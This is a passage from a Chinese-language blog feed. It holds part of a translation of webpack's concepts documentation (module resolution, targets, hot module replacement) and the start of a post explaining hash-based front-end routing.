&lt;/ul&gt;
&lt;p&gt;数不胜数！总而言之，webpack提供了一套强大并且丰富的API去实现自定义需求，允许拥有任何技术栈的人使用，使你的开发、测试和生产工作流程不再一成不变。&lt;/p&gt;
&lt;p&gt;想要看更详细的信息，请移步 &lt;a href=&quot;https://webpack.github.io/docs/list-of-loaders.html&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;加载器清单&lt;/a&gt; 或者 &lt;a href=&quot;https://webpack.js.org/api/loaders/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;编写自己的加载器&lt;/a&gt;。&lt;/p&gt;
&lt;h2 id=&quot;模块解析&quot;&gt;&lt;a href=&quot;#模块解析&quot; class=&quot;headerlink&quot; title=&quot;模块解析&quot;&gt;&lt;/a&gt;&lt;span id=&quot;modules-resolution&quot;&gt;&lt;/span&gt;模块解析&lt;/h2&gt;&lt;p&gt;解析器是帮助寻找模块绝对地址的类库。一个模块可以以这样的形式被另一个模块引为依赖：&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; mymodule &lt;span class=&quot;keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&#39;path/to/module&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// or&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;require&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;path/to/module&#39;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;依赖模块可以是应用程序的源码也可以是第三方类库。针对于每一个 &lt;code&gt;require()/import&lt;/code&gt; 声明，解析器都会帮助 &lt;code&gt;webpack&lt;/code&gt; 找到需要被打包的模块代码。 在打包模块时，&lt;code&gt;webpack&lt;/code&gt; 使用 &lt;a href=&quot;https://github.com/webpack/enhanced-resolve&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;enhanced-resolve&lt;/a&gt;去解析文件路径。&lt;/p&gt;
&lt;h3 id=&quot;webpack中的解析规则&quot;&gt;&lt;a href=&quot;#webpack中的解析规则&quot; class=&quot;headerlink&quot; title=&quot;webpack中的解析规则&quot;&gt;&lt;/a&gt;webpack中的解析规则&lt;/h3&gt;&lt;p&gt;&lt;code&gt;webpack&lt;/code&gt; 解析三种文件路径。&lt;/p&gt;
&lt;h4 id=&quot;绝对路径&quot;&gt;&lt;a href=&quot;#绝对路径&quot; class=&quot;headerlink&quot; title=&quot;绝对路径&quot;&gt;&lt;/a&gt;绝对路径&lt;/h4&gt;&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&quot;/home/me/file&quot;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&quot;C:\\Users\\me\\file&quot;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;既然我们已经拥有了绝对路径，就无需再继续解析了。&lt;/p&gt;
&lt;h4 id=&quot;相对路径&quot;&gt;&lt;a href=&quot;#相对路径&quot; class=&quot;headerlink&quot; title=&quot;相对路径&quot;&gt;&lt;/a&gt;相对路径&lt;/h4&gt;&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&quot;../src/file&quot;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&quot;./file&quot;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;在这种情况下，资源文件的目录被用作上下文目录（当前被处理的文件的目录）。给定的绝对路径被加入到上下文路径并由此得出文件的绝对路径。&lt;/p&gt;
&lt;h4 id=&quot;模块路径&quot;&gt;&lt;a href=&quot;#模块路径&quot; class=&quot;headerlink&quot; title=&quot;模块路径&quot;&gt;&lt;/a&gt;模块路径&lt;/h4&gt;&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&quot;module&quot;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&quot;module/lib/file&quot;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;在使用 &lt;code&gt;resolve.modules&lt;/code&gt; 指定的文件目录内部搜索模块，它可以是不同路径的一个数组。混叠允许你在 &lt;code&gt;require/import&lt;/code&gt; 的时候使用一个别名去替代模块路径，比如，设置 &lt;code&gt;resolve.alias&lt;/code&gt; 值为一个现存的模块路径。&lt;/p&gt;
&lt;p&gt;一旦路径是基于以上规则进行解析，解析器会检查路径是指向一个文件还是目录。如果路径指向一个文件那么该文件会被立即打包。但是如果路径指向一个文件夹，则会采取下面的步骤去找到拥有正确的扩展名的文件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;package.json&lt;/code&gt; 中的　&lt;code&gt;main:&amp;quot;&amp;lt;filename&amp;gt;.js&amp;quot;&lt;/code&gt; 字段决定了正确的文件。&lt;/li&gt;
&lt;li&gt;如果没有package.json文件或者main字段缺失，则寻找 &lt;code&gt;resolve.mainFiles&lt;/code&gt; 配置选项。&lt;/li&gt;
&lt;li&gt;如果这也失败的话，默认就会去寻找被命名为 &lt;code&gt;index&lt;/code&gt; 的文件。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;resolve.extensions&lt;/code&gt; 告诉解析器什么扩展名（例如：&lt;code&gt;.js&lt;/code&gt;，&lt;code&gt;.jsx&lt;/code&gt;）是能够被合法解析的。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;加载器解析&quot;&gt;&lt;a href=&quot;#加载器解析&quot; class=&quot;headerlink&quot; title=&quot;加载器解析&quot;&gt;&lt;/a&gt;加载器解析&lt;/h4&gt;&lt;p&gt;这个和文件解析的规则一样。但是 &lt;code&gt;resolveLoader&lt;/code&gt; 配置可以针对加载器制定独立的解析规则。&lt;/p&gt;
&lt;h4 id=&quot;缓存&quot;&gt;&lt;a href=&quot;#缓存&quot; class=&quot;headerlink&quot; title=&quot;缓存&quot;&gt;&lt;/a&gt;缓存&lt;/h4&gt;&lt;p&gt;对每个文件系统的访问都会被缓存，以便于多个并行或者串行的请求同一文件的任务可以被合并。在监听模式下只有发生改变的文件会从缓存中删除（监听器知道哪个文件发生了改变）。在非监听的模式下每一次编译之前都会清除缓存。&lt;/p&gt;
&lt;h4 id=&quot;不安全的缓存&quot;&gt;&lt;a href=&quot;#不安全的缓存&quot; class=&quot;headerlink&quot; title=&quot;不安全的缓存&quot;&gt;&lt;/a&gt;不安全的缓存&lt;/h4&gt;&lt;p&gt;有一个配置项 &lt;code&gt;resolve.unsafeCache&lt;/code&gt;，通过积极的缓存提高性能。每一个解析进程都会被缓存并且不会被清除。在大多数场合这样做是没问题的，但是在一些极端场景下却不适合（什么极端场景呢？）。&lt;/p&gt;
&lt;p&gt;请查看 &lt;a href=&quot;https://webpack.js.org/configuration/resolve/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;Resolve API&lt;/a&gt; 去获取关于上述配置的更多信息。&lt;/p&gt;
&lt;h2 id=&quot;依赖图&quot;&gt;&lt;a href=&quot;#依赖图&quot; class=&quot;headerlink&quot; title=&quot;依赖图&quot;&gt;&lt;/a&gt;&lt;span id=&quot;dependency-graph&quot;&gt;&lt;/span&gt;依赖图&lt;/h2&gt;&lt;p&gt;任何时候只要一个文件取决于另一个文件，webpack就将其视为依赖。这使得webpack可以获取任何非代码的资源，比如图片或者web字体，并且将它们提供为你的应用程序的依赖。&lt;/p&gt;
&lt;p&gt;当webpack处理你的应用的时候，它会从命令行下定义的模块列表或者它的配置文件开始。从这些入口开始，webpack递归地构造一个包含了你的应用需要的所有模块的依赖关系图，然后将所有的这些模块打包进少数的几个供浏览器加载的包中 – 经常只有一个。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;将你的应用程序打包对于采用HTTP/1.1的客户端来说尤其有用，因为它缩减了当浏览器发送新请求时你的应用的等待次数。对于HTTP/2，你也可以使用webpack进行代码分离和打包以实现 &lt;a href=&quot;https://medium.com/webpack/webpack-http-2-7083ec3f3ce6#.o1id8khup&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;最佳优化&lt;/a&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;目标&quot;&gt;&lt;a href=&quot;#目标&quot; class=&quot;headerlink&quot; title=&quot;目标&quot;&gt;&lt;/a&gt;&lt;span id=&quot;target&quot;&gt;&lt;/span&gt;目标&lt;/h2&gt;&lt;p&gt;因为Javascript代码不仅可以在浏览器端写，也可以在服务器端写，所以在你的webpack &lt;a href=&quot;https://webpack.js.org/configuration/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;配置&lt;/a&gt; 文件中webpack提供了可供设置的多个部署目标。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;不要将webpack &lt;code&gt;target&lt;/code&gt; 属性和 &lt;code&gt;output.libraryTarget&lt;/code&gt; 属性混淆了。详细信息可以查看 &lt;a href=&quot;#output&quot;&gt;我们指导手册&lt;/a&gt; 的 &lt;code&gt;output&lt;/code&gt; 属性。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;用法-2&quot;&gt;&lt;a href=&quot;#用法-2&quot; class=&quot;headerlink&quot; title=&quot;用法&quot;&gt;&lt;/a&gt;用法&lt;/h3&gt;&lt;p&gt;设置 &lt;code&gt;target&lt;/code&gt; 属性你只需要在你的webpack配置中简单地设置 target的值：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;webpack.config.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;.exports = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  target: &lt;span class=&quot;string&quot;&gt;&#39;node&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;每个目标都有种种部署/环境特定的附加条件，以支持它的需求。查看 &lt;a href=&quot;https://webpack.js.org/configuration/target/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;可使用的目标&lt;/a&gt;。&lt;/p&gt;
&lt;h3 id=&quot;多个目标-1&quot;&gt;&lt;a href=&quot;#多个目标-1&quot; class=&quot;headerlink&quot; title=&quot;多个目标&quot;&gt;&lt;/a&gt;多个目标&lt;/h3&gt;&lt;p&gt;虽然webpack不支持将多个字符串传递给 &lt;code&gt;target&lt;/code&gt; 属性，但是你可以通过包装两个独立的配置去创建一个形似的库。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;webpack.config.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; serverConfig = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  target: &lt;span class=&quot;string&quot;&gt;&#39;node&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: &lt;span class=&quot;string&quot;&gt;&#39;dist&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    filename: &lt;span class=&quot;string&quot;&gt;&#39;lib.node.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;comment&quot;&gt;//…&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; clientConfig = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  target: &lt;span class=&quot;string&quot;&gt;&#39;web&#39;&lt;/span&gt;, &lt;span class=&quot;comment&quot;&gt;// &amp;lt;=== can be omitted as default is &#39;web&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: &lt;span class=&quot;string&quot;&gt;&#39;dist&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    filename: &lt;span class=&quot;string&quot;&gt;&#39;lib.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;comment&quot;&gt;//…&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;.exports = [ serverConfig, clientConfig ];&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;上面的例子在你的 &lt;code&gt;dist&lt;/code&gt; 文件夹下创建了一个 &lt;code&gt;lib.js&lt;/code&gt; 和 &lt;code&gt;lib.node.js&lt;/code&gt; 文件。&lt;/p&gt;
&lt;h3 id=&quot;资源&quot;&gt;&lt;a href=&quot;#资源&quot; class=&quot;headerlink&quot; title=&quot;资源&quot;&gt;&lt;/a&gt;资源&lt;/h3&gt;&lt;p&gt;从上面的配置项来看，我们拥有多个不同的部署目标可选。下面是一个实例列表和你可以参考的资源。&lt;/p&gt;
&lt;h4 id=&quot;打包输出组合&quot;&gt;&lt;a href=&quot;#打包输出组合&quot; class=&quot;headerlink&quot; title=&quot;打包输出组合&quot;&gt;&lt;/a&gt;打包输出组合&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/TheLarkInn/compare-webpack-target-bundles&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;compare-webpack-target-bundles&lt;/a&gt; ：一个优秀的资源，可以测试和查看不同的webpack 目标。也很方便报告bug。&lt;/p&gt;
&lt;h2 id=&quot;热模块替换&quot;&gt;&lt;a href=&quot;#热模块替换&quot; class=&quot;headerlink&quot; title=&quot;热模块替换&quot;&gt;&lt;/a&gt;&lt;span id=&quot;hot-module&quot;&gt;&lt;/span&gt;热模块替换&lt;/h2&gt;&lt;p&gt;当应用在运行时，Hot Module Replacement（HMR 热模块替换）可以在没有进行页面载入的情况下实现交换、添加和删除模块。当个别模块被改变的时候，热模块替换可以帮助我们实现在没有页面刷新的情况下更新那些模块，从而缩减开发时间。&lt;/p&gt;
&lt;h3 id=&quot;它是如何工作的？&quot;&gt;&lt;a href=&quot;#它是如何工作的？&quot; class=&quot;headerlink&quot; title=&quot;它是如何工作的？&quot;&gt;&lt;/a&gt;它是如何工作的？&lt;/h3&gt;&lt;h4 id=&quot;从应用视图来看&quot;&gt;&lt;a href=&quot;#从应用视图来看&quot; class=&quot;headerlink&quot; title=&quot;从应用视图来看&quot;&gt;&lt;/a&gt;从应用视图来看&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;应用程序向HMR运行时环境请求检查更新。&lt;/li&gt;
&lt;li&gt;HMR运行时环境下载更新（异步地）并且告诉应用程序代码存在一个更新。&lt;/li&gt;
&lt;li&gt;然后应用程序代码告诉HRM运行时环境应用更新。&lt;/li&gt;
&lt;li&gt;HMR运行时环境应用更新（同步地）。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;你可以配置好HMR以便于上述进程能自动发生，或者你也可以选择要求用户交互去触发更新。&lt;/p&gt;
&lt;h4 id=&quot;从编译器﹝webpack﹞-视图来看&quot;&gt;&lt;a href=&quot;#从编译器﹝webpack﹞-视图来看&quot; class=&quot;headerlink&quot; title=&quot;从编译器﹝webpack﹞ 视图来看&quot;&gt;&lt;/a&gt;从编译器﹝webpack﹞ 视图来看&lt;/h4&gt;&lt;p&gt;除了正常的资源之外，编译器需要发送一个“更新”来允许从之前版本进行更新操作。这个“更新”包含两个方面：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;更新清单（JSON）&lt;/li&gt;
&lt;li&gt;一个或多个更新块（JavaScript）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;更新清单包含新生成的编译hash值和所有更新块的列表。&lt;/p&gt;
&lt;p&gt;每个更新块包含用于相应块中的所有更新的模块的代码（或者一个显示模块被删除的标记）。&lt;/p&gt;
&lt;p&gt;在不同的构建之间，编译器可以确保模块的ID和分块的ID是一致的。它通常在内存中存储了这些ID（举个例子，当使用&lt;a href=&quot;https://webpack.js.org/configuration/dev-server/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;webpack-dev-server&lt;/a&gt;的时候），但也有可能将它们存储到一个JSON文件中。&lt;/p&gt;
&lt;h4 id=&quot;从模块视图来看&quot;&gt;&lt;a href=&quot;#从模块视图来看&quot; class=&quot;headerlink&quot; title=&quot;从模块视图来看&quot;&gt;&lt;/a&gt;从模块视图来看&lt;/h4&gt;&lt;p&gt;HMR是一个选择性功能，只会影响到包含了HMR代码的模块。比如通过 &lt;a href=&quot;https://github.com/webpack/style-loader&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;style-loader&lt;/a&gt; 修复样式。为了让所做的修改能够应用，style-loader继承了HMR的接口；当它接收到一个来自HMR的更新请求时，将会用新的样式取代老的样式。&lt;/p&gt;
&lt;p&gt;类似得，当在一个模块中继承了HMR接口时，你可以定义模块被更新的时候发生哪些事情。然而，在多数情况下，在每个模块中都写入HMR代码不是强制的。如果一个模块没有HMR处理函数，更新消息将会冒泡。这意味着一个单一的处理函数就可以处理一个完整模块树的更新。如果模块树中的某个模块更新，所有的模块树都会重新加载（只是重新加载，而不是改变）。&lt;/p&gt;
&lt;h4 id=&quot;从HMR运行时环境看﹝Technical﹞&quot;&gt;&lt;a href=&quot;#从HMR运行时环境看﹝Technical﹞&quot; class=&quot;headerlink&quot; title=&quot;从HMR运行时环境看﹝Technical﹞&quot;&gt;&lt;/a&gt;从HMR运行时环境看﹝Technical﹞&lt;/h4&gt;&lt;p&gt;对于模块系统运行时来说，它要执行额外的代码去跟踪模块的父级和子级。&lt;/p&gt;
&lt;p&gt;在管理方面，运行时环境提供两个方法：&lt;code&gt;check&lt;/code&gt; 和 &lt;code&gt;apply&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;check&lt;/code&gt; 方法会发送一个http请求以获取更新清单。如果这个请求失败，则意味着没有更新。如果请求成功，则发生更新的块列表会和当前已加载的块列表进行对比。对于每一个已加载的块，与之对应的更新块会被下载。所有的模块更新都会存储在运行时环境中。当所有的需要更新的块下载完毕等待被应用时，运行时环境切换到 &lt;code&gt;ready&lt;/code&gt; 状态。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;apply&lt;/code&gt; 方法将所有的需要更新的模块标记为无效。对每一个失效的模块，在模块中需要有一个更新处理函数或者在它们的父级中存在对应的更新处理函数。否则，无效的标志会进行冒泡使得其父级模块也失效。当向上冒泡至应用的入口，或者遇到了有更新处理函数的模块（不管是哪个模块，只要遇到了就立刻停止）时，这一过程才会停止。如果冒泡过程持续最终到达应用入口，那么这个更新处理就失败了。&lt;/p&gt;
&lt;p&gt;接着，所有失效的模块会被释放（通过dispose 处理函数）和卸载。当前的hash值会被更新，所有的“接受的”处理函数被调用。运行时环境切换到 &lt;code&gt;idle&lt;/code&gt; 状态，一切如常。&lt;/p&gt;
&lt;h4 id=&quot;我可以用它做什么？&quot;&gt;&lt;a href=&quot;#我可以用它做什么？&quot; class=&quot;headerlink&quot; title=&quot;我可以用它做什么？&quot;&gt;&lt;/a&gt;我可以用它做什么？&lt;/h4&gt;&lt;p&gt;你可以在开发环境中使用它进行。&lt;a href=&quot;https://webpack.js.org/configuration/dev-server/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;webpack-dev-server&lt;/a&gt; 支持一种热模式，就是通过尝试利用运行时环境进行更新，而不是试图重新加载整个页面。看看怎样在 &lt;a href=&quot;https://webpack.js.org/guides/hmr-react/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;React中继承HMR&lt;/a&gt; 的例子。&lt;/p&gt;
&lt;p&gt;一些加载器已经生成了热更新的模块。举例来说，&lt;code&gt;style-loader&lt;/code&gt; 就可以换出一个页面的样式。对于此类的模块来说，你不需要做任何特别的处理。&lt;/p&gt;
&lt;p&gt;webpack的强大在于它的可定制性。配置运行时环境的方法数不胜数，都取决于特定的项目。&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;p&gt;原文链接：&lt;a href=&quot;https://webpack.js.org/concepts/&quot;&gt;https://webpack.js.org/concepts/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;介绍&quot;&gt;&lt;a href=&quot;#介绍&quot; class=&quot;headerlink&quot; title=&quot;介绍&quot;&gt;&lt;/a&gt;&lt;span id=&#39;introduce&#39;&gt;&lt;/span&gt;介绍&lt;/h2&gt;&lt;p&gt;webpack是为了现代Javascript应用而诞生的一个模块打包器。它拥有&lt;a href=&quot;https://webpack.js.org/configuration/&quot;&gt;惊人的可配置性&lt;/a&gt;，不过，在使用之前我们觉得你必须理解四个核心的概念。&lt;/p&gt;
&lt;p&gt;作为webpack学习之旅的一部分，我们撰写这篇文档旨在给大家展示这些概念的高度概览，不过我们也会提供和概念相关的特定用例的链接。&lt;/p&gt;
    
    </summary>
    
      <category term="Translation" scheme="tomasran.space/category/Translation/"/>
    
    
      <category term="webpack" scheme="tomasran.space/tags/webpack/"/>
    
  </entry>
  
  <entry>
    <title>前端路由一探</title>
    <link href="tomasran.space/archives/1bjDjwd2FgzJIsCyshbzag/"/>
    <id>tomasran.space/archives/1bjDjwd2FgzJIsCyshbzag/</id>
    <published>2016-11-29T10:31:26.000Z</published>
    <updated>2016-11-29T10:37:27.000Z</updated>
    
    <content type="html">&lt;h2 id=&quot;什么是前端路由&quot;&gt;&lt;a href=&quot;#什么是前端路由&quot; class=&quot;headerlink&quot; title=&quot;什么是前端路由&quot;&gt;&lt;/a&gt;什么是前端路由&lt;/h2&gt;&lt;p&gt;路由，引导、指路之意。&lt;/p&gt;
&lt;p&gt;譬如我们熟知的路由器，蹦跶在网络层的数据包转发设备，在网络中也是扮演着指路明灯的角色，肩负着将数据包正确导向目的地址的重任。&lt;/p&gt;
&lt;p&gt;前端路由也借用了这个词，但是承担的工作全然不同，它是服务于客户端浏览器的指路人。&lt;/p&gt;
&lt;p&gt;所谓的前端路由，拥有这样一种能力：客户端浏览器可以不依赖服务端，根据不同的URL渲染不同的视图页面。&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;h2 id=&quot;前端路由的存在合理性&quot;&gt;&lt;a href=&quot;#前端路由的存在合理性&quot; class=&quot;headerlink&quot; title=&quot;前端路由的存在合理性&quot;&gt;&lt;/a&gt;前端路由的存在合理性&lt;/h2&gt;&lt;p&gt;在Ajax之剑还未亮出，前端仍处于襁褓之中的时候，路由的工作交给了后端。在进行页面切换的时候，浏览器发送不同的url请求；服务器接收到浏览器的请求时，通过解析不同的url去拼接需要的html或者模板，然后将结果返回给浏览器端进行渲染。&lt;/p&gt;
&lt;p&gt;服务器端路由也是不落俗套的有利亦有弊。它的好处是安全性更高，更严格得控制页面的展现。这在某些场景中是很有用的，譬如下单支付流程，每一步只有在上一步成功执行之后才能抵达。这在服务器端可以为每一步流程添加验证机制，只有验证通过才返回正确的页面。那么前端路由不能实现每一步的验证？自然不是，姑且相信你的代码可以写的很严谨，保证正常情况下流程不会错，但是另一个不得不面对的事实是：前端是毫无安全性可言的。用户可以肆意修改代码来进入不同的流程，你可能会为此添加不少的处理逻辑。相较之下，当然是后端控制页面的进入权限更为安全和简便。&lt;/p&gt;
&lt;p&gt;另一方面，后端路由无疑增加了服务器端的负荷，并且需要reload页面，用户体验其实不佳。&lt;/p&gt;
&lt;p&gt;这样，前端路由就有用武之地了。首先，它的出现无疑减轻了服务器端的压力。特别是对于一个比较复杂的应用来讲，或者更确切的说，对于拥有一个复杂路由系统的应用来说，服务器端需要为每一个不同的url执行一段处理逻辑在高并发的情况下实在有点不堪重负；其次，页面的切换可以不需要刷新整个页面了，没有网络延迟，没有闪烁刷新，提升了用户体验。&lt;/p&gt;
&lt;h2 id=&quot;前端路由实现方式&quot;&gt;&lt;a href=&quot;#前端路由实现方式&quot; class=&quot;headerlink&quot; title=&quot;前端路由实现方式&quot;&gt;&lt;/a&gt;前端路由实现方式&lt;/h2&gt;&lt;p&gt;既然目标实现，我们需要解决的问题有哪些？我们可以将问题拆的稍微细一点，先制定一个亿的小计划，实现之后再进行下一步：）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在页面不刷新的前提下实现url变化&lt;/li&gt;
&lt;li&gt;捕捉到url的变化，以便执行页面替换逻辑&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;如何实现更新url并且页面不刷新&quot;&gt;&lt;a href=&quot;#如何实现更新url并且页面不刷新&quot; class=&quot;headerlink&quot; title=&quot;如何实现更新url并且页面不刷新&quot;&gt;&lt;/a&gt;如何实现更新url并且页面不刷新&lt;/h3&gt;&lt;p&gt;正如前面所说，前端路由相较于后端路由的一个特点就是页面在不完全刷新的情况下进行视图的切换。页面url变了，但是并没有重新加载！看上去似乎有点不可思议，其实也没什么大不了。&lt;/p&gt;
&lt;p&gt;试想将浏览器地址栏当做一个输入框，我们需要实现的就是改变输入框的value但是不触发请求页面的操作，这样就不会重新加载新页面。倘若输入框的值的变化和发送请求是一个原子操作，我们也就束手无策了。庆幸的是，只有当我们敲击了回车之后，请求才会被发送出去（这是显而易见的吧）。因此这就为我们修改地址栏的值而不触发页面请求刷新创造了条件。BOM是否有提供修改浏览器地址栏url而不触发请求操作的方法呢？&lt;/p&gt;
&lt;p&gt;这里，存在两种满足需求的方式。一是利用url中的hash字段；二是使用html5提供的history API。&lt;/p&gt;
&lt;h4 id=&quot;hash方式&quot;&gt;&lt;a href=&quot;#hash方式&quot; class=&quot;headerlink&quot; title=&quot;hash方式&quot;&gt;&lt;/a&gt;hash方式&lt;/h4&gt;&lt;p&gt;了解http协议就会知道，url的组成部分有很多，譬如协议、主机名、资源路径、查询字段等等，其中包含一个称之为片段的部分，以“#”为标识。&lt;/p&gt;
&lt;p&gt;例如： &lt;a href=&quot;http://www.gmail.com/text/#123，123便是url中的hash部分。&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;http://www.gmail.com/text/#123，123便是url中的hash部分。&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;打开控制台，输入 &lt;code&gt;location.hash&lt;/code&gt;，你可以得到当前url的hash部分（如果当前url不存在hash则返回空字符串）。接下来，输入 &lt;code&gt;location.hash = &amp;#39;123&amp;#39;&lt;/code&gt;，会发现浏览器地址栏的url变了，末尾增加了’#123’字段，并且，页面没有被重新刷新。很显然，这很符合我们的要求。&lt;/p&gt;
